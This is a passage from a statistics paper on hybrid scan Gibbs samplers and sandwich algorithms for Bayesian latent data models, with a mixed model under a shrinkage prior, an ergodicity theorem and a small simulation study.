Gibbs Markov chain than to do the same for the corresponding systematic and random scan Gibbs chains. ", "We provide examples of this in Sections \\[sec:glmm\\] and \\[sec:smn\\]. (", "Of course, the important practical benefits of basing one’s MCMC algorithm on a geometrically ergodic Markov chain have been well-documented by, e.g., @roberts1998markov, @jones2001honest, @flegal2008markov and @latuszynski2013nonasymptotic.) ", "Secondly, as we explain in Section \\[sec:adding\\], the sandwich methodology of @hobert2008theoretical can be applied to the HS Gibbs algorithm (but not to the standard scan Gibbs samplers). ", "This allows for the addition of up to two extra steps at each iteration that can potentially speed up the convergence rate without adding much to the computational complexity. ", "Moreover, because HS Gibbs is reversible, we are able to prove that, under weak regularity conditions, adding sandwich steps always results in an improved algorithm in terms of both convergence rate and asymptotic variance. ", "Another advantage that HS Gibbs has over SS Gibbs (but not over RS Gibbs) is that, if specific information about the target distribution is known, the practitioner may vary the selection probability $r \\in (0,1)$ to cause one set of parameters to be updated more frequently than the other. ", "Lastly, note that the $Z$ component, which is typically used only to facilitate sampling and is not itself of inferential interest, is *not* part of the HS Markov chain. ", "The same is true of the basic DA algorithm. ", "While it is possible to marginalize over the $Z$ component in the SS Gibbs chain and still have a bona fide Markov chain, such marginalization is not possible with the RS Gibbs algorithm.", "\n\nIt is straightforward to extend the HS Gibbs sampler to situations in which there are more than three blocks. ", "Indeed, suppose that breaking $U$ into two components is not enough. ", "That is, suppose that we are unable to identify a partition $u = (x,y)$ such that sampling from $f_{X|Y,Z}$ and $f_{Y|X,Z}$ is straightforward, but we are able to find an $s$-component partition, $u=(x_1,x_2,\\ldots,x_s)$, such that it is possible to sample from each $f_{X_j | X_{-j}, Z}$, for $j=1,\\dots,s$, where, as usual, $X_{-j} = (X_1,\\dots,X_{j-1},X_{j+1},\\dots,X_s)$. It is straightforward to extend the HS algorithm (and all the results that we discuss in this paper) to this more general case. ", "For example, at each iteration of the (generalized) HS algorithm, we update $Z$ and one randomly chosen element from the random vector $(X_1,\\dots,X_s)$.\n\nThe only MCMC methods that have been considered so far in this paper are the DA algorithm and the Gibbs sampler, which could be considered “classical” MCMC techniques. ", "In particular, we have not mentioned any “state of the art” MCMC techniques, such as particle MCMC [@andr:douc:hole:2010] or Hamiltonian Monte Carlo [@neal:2011]. ", "There are two reasons for this. ", "Firstly, these methods are *much* more complex than the classical ones, and even describing them accurately requires the introduction of a great deal of notation. ", "Secondly, and perhaps more importantly, these more sophisticated methods are often not required to solve a given problem. ", "Indeed, there are plenty of Bayesian models with posterior distributions that, while intractable, are perfectly amenable to classical MCMC methods such as the Gibbs sampler and the Metropolis-Hastings algorithm. (", "Several such examples are detailed in this paper.) ", "In such situations, there is no need to consider more sophisticated MCMC methods, which can be *much* more difficult to design, code, and analyze than the classical methods. ", "As an analogy, consider a situation where we have a posterior distribution that is complex, but from which we can make iid draws (in a reasonably efficient manner). ", "In such a case, there would be no need to resort to MCMC since we could effectively explore the posterior using classical (iid) Monte Carlo.", "\n\nThe remainder of this paper is organized as follows. ", "Section \\[sec:glmm\\] contains our first serious example of a HS Gibbs sampler. ", "The target is the posterior distribution associated with a Bayesian shrinkage model with random effects. ", "This algorithm was first introduced by @abrahamsen2019, and we restate their main result, which provides easily checked sufficient conditions for geometric ergodicity of the underlying Markov chain. ", "The section ends with a description of a small empirical study comparing SS, RS and HS Gibbs. ", "The topic of Section \\[sec:adding\\] is the *hybrid scan sandwich* (HSS) algorithm, which is the result of adding sandwich steps to a HS Gibbs sampler. ", "We illustrate the construction of HSS algorithms by adding sandwich steps to the HS algorithm for our Student’s $t$ example, and to the algorithm described in Section \\[sec:glmm\\]. ", "Section \\[sec:smn\\] deals with the development and analysis of a HS Gibbs sampler for a Bayesian linear regression model with scale mixtures of normal errors. ", "A general result providing sufficient conditions for geometric ergodicity is stated and applied to two specific mixing densities. ", "We close with a discussion in Section \\[sec:discussion\\]. ", "The Appendix contains important theoretical results for the general HSS algorithm, as well as a proof of the convergence rate result stated in Section \\[sec:smn\\].", "\n\nThe General Linear Mixed Model with a Continuous Shrinkage Prior {#sec:glmm}\n================================================================\n\nThe general linear mixed model takes the form $$\\label{eq:glmm}\nY = X\\beta + Zu + e \\;,$$ where $Y$ is an $N \\times 1$ data vector, $X$ and $Z$ are known matrices with dimensions $N \\times p$ and $N \\times q$, respectively, $\\beta$ is an unknown $p \\times 1$ vector of regression coefficients, $u$ is a random vector whose elements represent the various levels of the random factors in the model, $e \\sim\n\\mbox{N}_N(0,\\lambda_0^{-1}I),$ and the random vectors $e$ and $u$ are independent. ", "Suppose that the model contains $m$ random factors, so that $u$ and $Z$ may be partitioned as $u = (u_1^T \\; u_2^T \\cdots\nu_m^T)^T$ and $Z = (Z_1 \\; Z_2 \\cdots Z_m),$ where $u_i$ is $q_i\n\\times 1$, $Z_i$ is $N \\times q_i$, and $q_1+ \\cdots + q_m = q.$ Then $Zu = \\sum_{i=1}^m Z_i u_i.$ It is assumed that $u \\sim\n\\mbox{N}_q(0,D),$ where $D = \\bigoplus_{i=1}^m \\lambda_i^{-1}\nI_{q_i}.$ Finally, let $\\lambda$ denote the vector of precision components, i.e., $\\lambda = (\\lambda_0 \\; \\lambda_1 \\cdots\n\\lambda_m)^T.$\n\nA Bayesian version of the general linear mixed model requires specification of a prior distribution for the unknown parameters $\\beta$ and $\\lambda$. A popular choice is the proper (conditionally) conjugate prior that takes $\\beta$ to be multivariate normal, and takes each of the precision components to be gamma. ", "However, in the increasingly important situation where $p$ is larger than $N,$ we may wish to use a so-called Bayesian shrinkage prior on $\\beta$ (see, e.g., @griffin2010inference). ", "Indeed, @abrahamsen2019 considered the following Bayesian shrinkage version of the general linear mixed model which incorporates the normal-gamma prior due to @griffin2010inference: $$\\begin{aligned}\n& Y|\\beta,u,\\tau,\\lambda \\sim \\mbox{N}_N(X\\beta+Zu,\\lambda_0^{-1}I_N)\\;\\\\\n& u|\\beta,\\tau,\\lambda \\sim \\mbox{N}_q(0,D) \\; \\\\\n& \\beta|\\tau,\\lambda \\sim \\mbox{N}_p(0,\\lambda_0^{-1}D_{\\tau}) \\;\\end{aligned}$$ where $D_{\\tau}$ is a diagonal matrix with $\\tau = (\\tau_1 \\; \\tau_2\n\\cdots \\tau_p)^T$ on the diagonal. ", "Finally, all components of $\\tau$ and $\\lambda$ are assumed *a priori* independent with $\\lambda_i \\sim \\text{Gamma}(a_i,b_i),$ for $i=0,1,\\ldots,m,$ and $\\tau_j \\sim \\text{Gamma}(c,d),$ for $j=1,\\ldots,p.$ There is evidence (both empirical and theoretical) suggesting that values of $c$ in $(0,1/2]$ lead to a posterior that concentrates on sparse $\\beta$ vectors [@bhattacharya2012bayesian; @bhattacharya2015dirichlet].", "\n\nDefine $\\theta = (\\beta^T \\; u^T)^T$ and $W = [X \\; Z]$, so that $W\\theta = X\\beta + Zu$. The vector $\\tau$ is treated as latent data, and the distribution of interest is the posterior distribution of $(\\theta,\\lambda)$ given the data, $Y=y$. In terms of the notation used in the Introduction, the role of $Z$ is being played here by $\\tau$, and the role of $(x,y)$ is being played by $(\\theta,\\lambda)$. (Ideally, we would keep the notation consistent with that used in the Introduction, but given how entrenched the roles of $X$, $y$ and $Z$ are in mixed linear regression models, adherence to the notation from the Introduction would make this section rather difficult to read.) ", "Here is the full posterior density: $$\\begin{aligned}\n\\begin{split}\n\\label{eq:fullposterior}\n\\pi(\\theta,\\tau,\\lambda|y) &\\propto \\lambda_0^{N/2} \\exp \\left\\{\n-\\frac{\\lambda_0}{2} (y-W\\theta)^T (y-W\\theta) \\right\\} \\\\ &\\times\n\\lambda_0^{p/2} \\left[ \\prod_{j=1}^p \\tau_j^{-1/2} \\right] \\exp\n\\left\\{ -\\frac{\\lambda_0}{2} \\beta^T D_{\\tau}^{-1} \\beta \\right\\}\n\\left[ \\prod_{i=1}^m \\lambda_i^{q_i/2} \\right] \\exp \\left\\{\n-\\frac{1}{2} u^T D^{-1} u \\right\\}\\\\ &\\times \\left[ \\prod_{j=1}^p\n \\tau_j^{c-1} e^{-d\\tau_j} I_{\\reals_+}(\\tau_j) \\right] \\left[\n \\prod_{i=0}^m \\lambda_i^{a_i-1} e^{-b_i \\lambda_i}\n I_{\\reals_+}(\\lambda_i) \\right] \\;.\\\\\n\\end{split}\\end{aligned}$$ In order to use the basic DA algorithm, we would need to be able to sample from $\\pi(\\tau | \\theta, \\lambda, y)$ and from $\\pi(\\theta,\n\\lambda | \\tau, y)$. The former is not a problem, as we now explain. ", "We write $V \\sim \\text{GIG}(\\zeta,\\xi,\\psi)$ to mean that $V$ has a generalized inverse Gaussian distribution with density $$\\label{eq:gig}\n\\frac{\\xi^{\\zeta/2}}{2 \\psi^{\\zeta/2} \\; \\text{K}_{\\zeta}(\\sqrt{\\xi \\psi})} v^{\\zeta - 1} e^{-\\frac{1}{2}(\\xi v + \\frac{\\psi}{v})}I_{\\reals_+}(v),$$ where $\\xi > 0, \\psi > 0,$ and $\\text{K}_{\\zeta}(\\cdot)$ denotes the modified Bessel function of the second kind. ", "Conditional on $(\\theta,\n\\lambda, y),$ the components of $\\tau$ are independent with $$\\tau_j\n\\sim \\text{GIG}(c-1/2, 2d, \\lambda_0 \\beta_j^2).$$ Unfortunately, it is not straightforward to make draws from $\\pi(\\theta, \\lambda | \\tau,\ny)$. Thus, the DA algorithm is not applicable. ", "On the other hand, the conditional density of $\\theta$ given $(\\lambda, \\tau, y)$ is multivariate normal, and, given $(\\theta, \\tau, y),$ the components of $\\lambda$ are independent gammas. ", "Hence, the HS Gibbs algorithm is applicable.", "\n\nWe now state the conditional densities, beginning with $\\lambda.$ First, $$\\lambda_0 | \\theta, \\tau, y \\sim \\text{Gamma} \\left(\n\\frac{N+p+2a_0}{2}, \\frac{\\norm{y-W\\theta}^2}{2} + \\frac{\\beta^T\n D_{\\tau}^{-1} \\beta}{2} + b_0 \\right).$$ Now, for $i =\n1,2,\\ldots,m,$ we have $$\\lambda_i | \\theta, \\tau, y \\sim \\text{Gamma}\n\\left( \\frac{q_i + 2a_i}{2}, \\frac{\\norm{u_i}^2}{2} + b_i \\right).$$ Now, define $T_{\\lambda,\\tau} = \\lambda_0 (X^T X + D_{\\tau}^{-1}),\nM_{\\lambda,\\tau} = I - \\lambda_0 X^T T_{\\lambda,\\tau}^{-1} X^T,$ and $Q_{\\lambda,\\tau} = \\lambda_0 Z^T M_{\\lambda,\\tau} Z + D^{-1}.$ Conditional on $(\\lambda,\\tau,y), \\theta$ is $(p+q)$-variate normal with mean $$\\Theta := \\text{E}[\\theta | \\tau, \\lambda, y]\n=\n\\begin{bmatrix}\n\\lambda_0 T_{\\lambda, \\tau}^{-1} X^T y - \\lambda_0^2 T_{\\lambda,\n \\tau}^{-1} X^T Z Q_{\\lambda, \\tau}^{-1} Z^T M_{\\lambda,\\tau} y\n\\\\ \\lambda_0 Q_{\\lambda, \\tau}^{-1} Z^T M_{\\lambda,\\tau} y\n\\end{bmatrix},$$ and covariance matrix $$\\Sigma := \\text{Var}[\\theta | \\tau, \\lambda, y]\n=\n\\begin{bmatrix}\nT_{\\lambda, \\tau}^{-1} + \\lambda_0^2 T_{\\lambda, \\tau}^{-1} X^T Z\nQ_{\\lambda, \\tau}^{-1} Z^T X T_{\\lambda, \\tau}^{-1} & -\\lambda_0\nT_{\\lambda, \\tau}^{-1} X^T Z Q_{\\lambda, \\tau}^{-1} \\\\ -\\lambda_0\nQ_{\\lambda, \\tau}^{-1} Z^T X T_{\\lambda, \\tau}^{-1} & Q_{\\lambda,\n \\tau}^{-1}\n\\end{bmatrix}.$$\n\nThe HS Gibbs sampler is based on the Markov chain $\\Phi = \\{(\\theta_n,\n\\lambda_n)\\}_{n=0}^{\\infty}$ with state space $\\mathsf{X} =\n\\reals^{p+q} \\times \\reals_+^{m+1}$ and fixed selection probability $r\n\\in (0,1)$. If the current state is $(\\theta_n,\n\\lambda_n)=(\\theta,\\lambda),$ then we simulate the new state, $(\\theta_{n+1}, \\lambda_{n+1}),$ using the following two-step procedure.", "\n\n[Iteration $n+1$ of the HS Gibbs sampler:]{}\n\n1. ", " Draw $\\{\\tau_j\\}_{j=1}^p$ independently with $\\tau_j \\sim\n \\text{GIG}(c-1/2, 2d, \\lambda_0 \\beta_j^2)$, let $\\tau = (\\tau_1 \\;\n \\tau_2 \\cdots \\tau_p)^T,$ and, independently, draw $W \\sim\n \\text{Uniform}(0,1).$\n\n2. ", " 1. ", " If $W \\le r,$ draw $(\\lambda^*_0,\\ldots,\\lambda^*_m)$ independently with $$\\lambda^*_0 \\sim \\text{Gamma} \\left(\n \\frac{N+p+2a_0}{2}, \\frac{\\norm{y-W\\theta}^2}{2} + \\frac{\\beta^T\n D_{\\tau}^{-1} \\beta}{2} + b_0 \\right),$$ and for $i=1,\\dots,m$, $$\\lambda^*_i \\sim \\text{Gamma} \\left( \\frac{q_i +\n 2a_i}{2}, \\frac{\\norm{u_i}^2}{2} + b_i \\right),$$ and let $\\lambda^* = (\\lambda^*_0 \\; \\lambda^*_1 \\cdots \\lambda^*_m)^T.$ Set $(\\theta_{n+1}, \\lambda_{n+1}) = (\\theta, \\lambda^*)$.\n\n 2. ", " Otherwise if $r < W \\le 1,$ draw $$\\theta^* \\sim \\mbox{N}_{p+q}\n \\left( \\Theta, \\Sigma \\right),$$ and set $(\\theta_{n+1},\n \\lambda_{n+1}) = (\\theta^*, \\lambda).$\n\nWe know from the discussion in the Introduction that the Markov chain driving this algorithm is reversible with respect to $\\pi(\\theta,\\lambda|y)$. Furthermore, it is straightforward to show that this chain is Harris ergodic (i.e., irreducible, aperiodic and Harris recurrent). ", "@abrahamsen2019 analyzed this HS Gibbs sampler, and proved that it is geometrically ergodic under mild regularity conditions. ", "Here is their main result.", "\n\n\\[thm:glmm\\] The HS Gibbs Markov chain, $\\{(\\theta_n,\\lambda_n)\\}_{n=0}^{\\infty}$ is geometrically ergodic for all $r \\in (0,1)$ if\n\n1. ", " $Z := (Z_1 \\; Z_2 \\; \\cdots \\; Z_m)$ has full column rank.", "\n\n2. ", " $a_0 > \\frac{1}{2} \\big( \\hbox{rank}(X) - N + (2c+1)p+2 \\big)$, and\n\n3. ", " $a_i > 1$ for each $i \\in \\{1,2,\\ldots,m\\}$.\n\nThe conditions of Theorem \\[thm:glmm\\] are quite easy to check, and the result is applicable when $p > N$. Moreover, there are no known convergence rate results for the corresponding SS and RS Gibbs samplers. ", "Indeed, @abrahamsen2019 contend that HS Gibbs is much easier to analyze than the other two, despite being no more difficult to implement.", "\n\nWe now compare the HS, SS, and RS Gibbs samplers in the context of a numerical example. (", "No numerical results were presented in @abrahamsen2019.) ", "We also include in the comparison the hybrid scan sandwich algorithm, which is developed in Subsection \\[ssec:glmm\\]. ", "We consider three simulation settings corresponding to the situations where $N > p$, $N = p$, and $N < p$, respectively, in order to account for the effects of the shrinkage prior. ", "The elements of the design matrix $X$ were chosen by generating iid $N(0,1)$ random variables. ", "There is one random effect with 5 levels, i.e., $m=1$ and $q_1=q=5$, and we use the standard cell means model structure for the matrix $Z$. Recall from Theorem \\[thm:glmm\\] that there are several restrictions on the hyperparameters that must be adhered to in order for the HS Gibbs Markov chain to be geometrically ergodic. ", "This sometimes requires $a_0$ to be large. ", "We mitigate this by setting $b_0 = a_0$ in each simulation setting to give the corresponding prior distribution a mean of 1. ", "We set $a_1 = 1.5$ and $b_1 = 1$ for all three simulations. ", "Also, recall that there is empirical and theoretical evidence suggesting that values of $c$ in $(0,1/2]$ lead to a posterior that concentrates on sparse $\\beta$ vectors. ", "Accordingly, we set $c=1/4$ and $d=1$ throughout. ", "Here is a summary of the simulation settings considered.", "\n\nTable 1: *Hyperparameter settings*\n\n **Setting** $\\boldsymbol{N}$ $\\boldsymbol{p}$ $\\boldsymbol{m}$ $\\boldsymbol{q}$ $\\boldsymbol{a_0}$ $\\boldsymbol{b_0}$ $\\boldsymbol{a_1}$ $\\boldsymbol{b_1}$ $\\boldsymbol{c}$ $\\boldsymbol{d}$\n ------------- ------------------ ------------------ ------------------ ------------------ -------------------- -------------------- -------------------- -------------------- ------------------ ------------------\n 1 100 10 1 5 1 1 1.5 1 0.25 1\n 2 100 100 1 5 77 77 1.5 1 0.25 1\n 3 100 200 1 5 152 152 1.5 1 0.25 1\n\nIn each case, the data were simulated according to the model using a “bottom up” strategy, i.e., the hyperparameters were randomly drawn from their priors, and so on, up the hierarchy.", "\n\nWe fix the selection probability at $r = 1/2$ for the HS and HSS algorithms. ", "For RS Gibbs, we fix the selection probabilities at $r_1=r_2=r_3=1/3$. We wish to compare the algorithms using autocorrelation plots, but the four algorithms make different numbers of updates per iteration. ", "Indeed, the SS, HS, HSS and RS algorithms make 3, 2, 2 and 1 updates/iteration, respectively. ", "So an adjustment must be made in order to perform an “apples to apples” comparison. ", "If $k$ is a positive integer, then it seems fair to compare the lag $2k$ autocorrelation for SS algorithm with the lag $3k$ autocorrelation for the HS and HSS algorithms, and the lag $6k$ autocorrelation for the RS algorithm.", "\n\nIn each of the three separate simulations, we ran the SS, HS, HSS, and RS algorithms for 40,000 iterations, 60,000 iterations, 60,000 iterations, and 120,000 iterations, respectively. ", "We then discarded the first half of each run as burn-in, and computed the autocorrelations based on the remaining data as described above. ", "We used the function $(y - W \\theta)^T(y - W \\theta) + \\lambda_0 +\n\\lambda_1$ because it involves both parameters of interest ($\\theta$ and $\\lambda$). ", "The results are summarized in Figure \\[fig:simplot\\]. (", "Just to be clear, as an example, what is plotted above the abscissa at the value 6 for the SS, HS, HSS, and RS algorithms is the estimated autocorrelation for lag 6, 9, 9, and 18, respectively.) ", "We can clearly see that for all three simulations, the magnitude of the autocorrelations for SS Gibbs is the lowest, while the other three are all a bit higher and quite close to each other. ", "The performances of the HS Gibbs sampler and the HSS algorithm are similar.", "\n\n![", "Autocorrelations for SS, HS, HSS, and RS algorithms[]{data-label=\"fig:simplot\"}](Updated_Plot_v2.png){width=\"\\linewidth\"}\n\nWhile it is true that the SS Gibbs algorithm seems to be marginally better than the others in this particular case, recall that it remains unknown whether the corresponding Markov chain is geometrically ergodic. ", "On the other hand, the HS chain (and the HSS chain - see Subsection \\[ssec:HSS\\]) are both known to be geometrically ergodic. ", "Thus, in order to ensure reliability, we recommend the two “known quantities.”", "\n\nThe Hybrid Scan Sandwich Algorithm {#sec:adding}\n==================================\n\nIn this section, we explain how to add sandwich steps to the HS Gibbs sampler to form the *hybrid scan sandwich* (HSS) algorithm. ", "There are four subsections. ", "The basic sandwich algorithm of @hobert2008theoretical is described in Subsection \\[ssec:basics\\]. ", "A generic description of the HSS algorithm is provided in Subsection \\[ssec:HSS\\]. ", "In Subsection \\[ssec:toy\\], we illustrate the techniques using the Student’s $t$ example from the Introduction. ", "Finally, in Subsection \\[ssec:glmm\\], we develop a HSS algorithm for the intractable posterior associated with the mixed model discussed in Section \\[sec:glmm\\].", "\n\nThe sandwich algorithm {#ssec:basics}\n----------------------\n\nIn keeping with the notation of the Introduction, recall that the transition associated with a single iteration of the DA algorithm may be represented as $$\\begin{tikzcd}\nU \\arrow[r] & Z \\arrow[r] & U' \\;.", "\n\\end{tikzcd}$$ Building on ideas in @liu1999parameter, @meng1999seeking and @van2001art, @hobert2008theoretical introduced an alternative to the DA algorithm that employs an extra move on the $\\mathsf{Z}$ space that is “sandwiched” between the two conditional draws. ", "If the extra move is chosen carefully, it can break the correlation between consecutive iterates of the DA algorithm, thereby speeding up the algorithm. ", "Again, using notation from the Introduction, let $f_Z$ denote the $z$-marginal of $f(u,z)$, and suppose that $R(z,dz')$ is *any* Markov transition function (Mtf) that is reversible with respect to $f_Z$, i.e., $R(z,dz') f_Z(z)\ndz = R(z',dz) f_Z(z') dz'$. The *sandwich algorithm* simulates the Markov chain whose Mtd is $$k_{\\text{S}}(u' | u) = \\int_{\\mathsf{Z}} \\int_{\\mathsf{Z}}\nf_{U|Z}(u'|z') R(z,dz') f_{Z|U}(z|u) \\, dz \\;.$$ It’s easy to see that $k_{\\text{S}}(u' | u) f_U(u)$ is symmetric in $(u,u')$, so the sandwich Markov chain is reversible with respect to $f_U$. Also, the sandwich algorithm reduces to DA if we take $R$ to be the trivial Mtf whose chain never moves from the starting point. ", "To run the sandwich algorithm, we simply run the DA algorithm as usual, except that after each $z$ is drawn, we perform the extra step $z' \\sim R(z,\\cdot)$ before drawing the new $u$. Hence, the sequence of steps in a single iteration of the sandwich algorithm looks like this: $$\\begin{tikzcd}\nU \\arrow[r] & Z \\arrow[r] & Z' \\arrow[r] & U' \\;.", "\n\\end{tikzcd}$$ We now explain how a sandwich step can effectively break the correlation between $U$ and $U'$ in the context of a toy example.", "\n\nSuppose the target density is $$f_U(u) = \\int_{\\mathbb{R}} \\frac{1}{\\sqrt{8\\pi}} e^{-\\frac{1}{2}\n (u-z)^2 -|z|} \\; dz \\;.$$ In order to construct a DA algorithm, we require a joint density whose $u$-marginal is the target. ", "Here’s an obvious candidate: $$f_{U,Z}(u,z) = \\frac{1}{\\sqrt{8\\pi}} e^{-\\frac{1}{2} (u-z)^2 -|z|} \\;.$$ Note that $f_Z(z) = \\frac{1}{2} e^{-|z|}$, so the marginal distribution of $Z$ is standard Laplace (or double exponential). ", "In order to run the DA algorithm, we need the full conditionals. ", "Clearly, $U|Z \\sim \\mbox{N}(Z,1)$, but the distribution of $Z$ given $U$ is non-standard: $$f_{Z|U}(z|u) \\propto e^{-\\frac{1}{2} (u-z)^2 -|z|} \\;.$$ It’s a simple matter to simulate from this density using a rejection sampler with a Laplace candidate. ", "We now construct a sandwich algorithm. ", "Define a Mtf on $\\mathbb{R}$ as follows: $$R(z,dz') = r(z'|z) dz' = e^{-|z'|} \\big[ I_{\\mathbb{R}_+}(z')\n I_{\\mathbb{R}_+} (z) + I_{\\mathbb{R}_-}(z') I_{\\mathbb{R}_-} (z)\n \\big] dz' \\;,$$ where $\\mathbb{R}_- := (-\\infty,0]$. It’s clear that $R(z,dz')$ is reversible with respect to $f_Z(z)$. Note that the Markov chain defined by $R$ is *not* irreducible. ", "In fact, the chain remains forever on whichever side of zero it is started. ", "We now provide some intuition about how the extra step breaks the correlation between $U$ and $U'$. Imagine for a moment that $r(z'|z)$ were just $f_Z(z')$. Then $U'$ would be a perfect draw from $f_U$ (independent of $U$), and the Markov chain would simply be an iid sequence from the target distribution. ", "Of course, $r(z'|z)$ is not $f_Z(z')$, but it actually isn’t that far from it. ", "First, $r(z'|z)$ depends on $z$ *only through its sign*. ", "Now, when $z>0$, $r(z'|z)$ is nothing but $f_Z(z')$ truncated to the positive half-line, and when $z \\le 0$, $r(z'|z)$ is just $f_Z(z')$ truncated to the negative half-line. ", "So we can interpret the extra step as follows: Once $Z$ is drawn from $f_{Z|U}(\\cdot|u)$, the extra step then draws $Z'$ from a truncated version of $f_Z$. Intuitively, it seems clear that the correlation between $U$ and $U'$ should be quite a bit weaker under the sandwich dynamics, than under the DA dynamics. ", "In order to test this empirically, we ran stationary versions of each chain for one million iterations, and constructed the autocorrelation plot in Figure \\[fig:toyacf\\] using the function $V(u)=u^2$. Clearly, the autocorrelation of the sandwich Markov chain decays to zero much more rapidly than that of the corresponding DA chain.", "\n\n![", "Autocorrelations for the DA and sandwich algorithms[]{data-label=\"fig:toyacf\"}](toy_acf_plot_v3.png){width=\"\\linewidth\"}\n\nOf course, a sandwich algorithm is a useful alternative to the underlying DA algorithm only if the computational burden of drawing from $R$ is small relative to the improvement it provides. ", "Consider, for example, the Mtf $R(z,dz') = r(z'|z)dz'$ where $r(z'|z) =\n\\int_{\\mathsf{U}} f_{Z|U}(z'|u) f_{U|Z}(u|z)du$. This $R$ leads to a sandwich algorithm that is nothing but two consecutive iterations of the DA algorithm. ", "Thus, whatever is gained by adding the extra step is offset exactly in increased computational effort. ", "Fortunately, it is often possible to find an $R$ that leads to a significant improvement, while adding very little to the overall computational cost. ", "This is typically accomplished by choosing $R(z,dz')$ such that, for fixed $z$, the (reducible) chain driven by $R(z,\\cdot)$ lives in a low dimensional subspace of $\\mathsf{Z}.$ (Note that such an $R$ would typically not have a Mtd with respect to Lebesgue measure on $\\mathsf{Z}$, and this is the reason why it is defined via its Mtf, instead of a Mtd.)", "\n\nThere are a couple of simple techniques for constructing sandwich moves [see, e.g., @hobert2008theoretical; @liu1999parameter], and the resulting Mtfs can often be simulated with relatively little computational effort. ", "In such cases, there is nothing to lose by adding the step. ", "In other cases, where simulation of the extra step requires substantial computational effort, one must decide if the trade-off is worthwhile. ", "There are many examples of sandwich algorithms that drastically outperform their DA counterparts in empirical studies, see, e.g., @liu1999parameter and @meng1999seeking. ", "Moreover, the superiority of the sandwich algorithm has also been established theoretically. ", "Indeed, results in @hobert2008theoretical and @khare2011spectral show that, under mild regularity conditions, the sandwich algorithm converges at least as fast as the DA algorithm, and is at least as good in the sense of asymptotic variance.", "\n\nThe HSS algorithm {#ssec:HSS}\n-----------------\n\nWe now explain how to add up to two different sandwich steps to the HS Gibbs sampler. ", "Recall that the transition mechanism for each iteration of HS Gibbs with selection probability $r$ is given by $$\\begin{tikzcd}\n& & (X^*,Y) \\\\\n(X,Y) \\arrow[r] & Z \\arrow[ur,\"r\"] \\arrow[dr,\"1-r\"] & \\;\\\\\n& & (X,Y^*)\n\\end{tikzcd}$$ For fixed $y \\in \\mathsf{Y},$ let $R_1(z,dz';y)$ denote a Mtf on $\\mathsf{Z}$ that is reversible with respect to $f_{Z|Y}(z|y),$ so that $$\\label{eq:reverse}\nR_1(z,dz';y) f_{Z|Y}(z|y) dz = R_1(z',dz;y) f_{Z|Y}(z'|y) dz' \\;.$$ Define $$k_1(x'|x;y) = \\int_{\\mathsf{Z}} \\int_{\\mathsf{Z}} f_{X|Y,Z}(x'|y,z')\nR_1(z,dz';y) f_{Z|X,Y}(z|x,y) \\, dz \\;.$$ A routine calculation shows that $k_1(x'|x;y)f_{X|Y}(x|y)$ is symmetric in $(x,x')$, so $k_1(x'|x;y)$ is reversible with respect to $f_{X|Y}(x|y)$. Analogously, for fixed $x \\in \\mathsf{X}$, define $$k_2(y'|y;x) = \\int_{\\mathsf{Z}} \\int_{\\mathsf{Z}} f_{Y|X,Z}(y'|x,z')\nR_2(z,dz';x) f_{Z|X,Y}(z|x,y) \\, dz \\;,$$ where $R_2(z,dz';x)$ is reversible with respect to $f_{Z|X}(z|x)$.\n\nThe HSS algorithm is simply a RS algorithm which, at each iteration, employs either $k_1(x'|x;y)$ or $k_2(y'|y;x)$. In particular, fix $r\n\\in (0,1)$, and consider a Markov chain $\\{(\\tilde{X}_n,\\tilde{Y}_n)\n\\}_{n=0}^{\\infty}$ with state space $\\mathsf{X} \\times \\mathsf{Y}$ that evolves as follows. ", "If the current state is $(\\tilde{X}_n,\\tilde{Y}_n) = (x,y)$, then we simulate the new state, $(\\tilde{X}_{n+1},\\tilde{Y}_{n+1})$, using the following two-step procedure.", "\n\n[Iteration $n+1$ of the HSS algorithm:]{}\n\n1. ", " Draw $Z \\sim f_{Z|X,Y}(\\cdot|x,y)$, call the result $z$, and, independently, draw $W \\sim \\text{Uniform}(0,1)$.\n\n2. ", " 1. ", " If $W \\le r$, draw $Z' \\sim R_1(z,\\cdot;y)$, call the result $z'$, draw $X^* \\sim f_{X|Y,Z}(\\cdot|y,z')$, and set $(\\tilde{X}_{n+1},\\tilde{Y}_{n+1}) = (X^*,y)$.\n\n 2. ", " Otherwise if $r < W \\le 1$, draw $Z' \\sim R_2(z,\\cdot;x)$, call the result $z'$, draw $Y^* \\sim f_{Y|X,Z}(\\cdot|x,z')$, and set $(\\tilde{X}_{n+1},\\tilde{Y}_{n+1}) = (x,Y^*)$.\n\nThus, the HSS algorithm makes the following transition at each iteration. ", "$$\\begin{tikzcd}\n & & Z' \\arrow[r] & (X^*,Y) \\\\\n(X,Y) \\arrow[r] & Z \\arrow[ur,\"r\"] \\arrow[dr,\"1-r\"] & \\\\\n & & Z' \\arrow[r] & (X,Y^*)\n\\end{tikzcd}$$ If we take both $R_1$ and $R_2$ to be trivial, then the HSS algorithm collapses back into the HS Gibbs sampler. ", "In Appendix \\[app:theory\\], we develop theoretical results for the HSS algorithm. ", "We begin by showing that the HSS algorithm is reversible, which allows us to prove analogues for the HSS algorithm of the strong theoretical results that have been established for the basic sandwich algorithm. ", "In particular, we prove that the HSS algorithm is *always* at least as good as HS Gibbs in terms of asymptotic variance, and that the HSS Markov chain converges at least as fast as the HS Gibbs chain as long as the Markov operators associated with $R_1$ and $R_2$ are both *positive*. (", "All of the $R$s employed in this paper, including the trivial $R$, yield positive Markov operators - see @hobert2008theoretical.) ", "One important consequence of the convergence rate result is that, when $R_1$ and $R_2$ are both positive operators, geometric ergodicity of the HS Gibbs Markov chain implies that of the HSS chain.", "\n\nThis is extremely useful in practice because the HS Gibbs algorithm is much simpler than the HSS algorithm, and hence much easier to analyze.", "\n\nWe should point out that @pal2015improving also developed an alternative to SS and RS Gibbs for Bayesian latent data models that is based on the sandwich methodology of @hobert2008theoretical. ", "Unfortunately, it is difficult to obtain theoretical results for their algorithm because the corresponding Markov chain is not reversible.", "\n\nRecall that near the end of the Introduction we considered a generalization in which $U$ is partitioned into three or more pieces, and we wrote the corresponding conditional densities as $f_{X_j |\n X_{-j}, Z}$ for $j=1,\\dots,s$. It is a simple matter to extend the methodology described above to this more general case. ", "Indeed, for fixed $X_{-j} = x_{-j}$, let $R_j(z,dz';x_{-j})$ denote a Mtf on $\\mathsf{Z}$ that is reversible with respect to $f_{Z |\n X_{-j}}(z|x_{-j})$. Define $$k_j(x'_j | x_j; x_{-j}) = \\int_{\\mathsf{Z}} f_{X_j | X_{-j},\n Z}(x'|x_{-j},z') R_j(z,dz';x_{-j}) f_{Z|X_j, X_{-j}}(z|x_j,x_{-j})\n\\, dz \\;.$$ At each step of the generalized version of HSS, we choose among $k_1,\\ldots,k_s$ according to positive 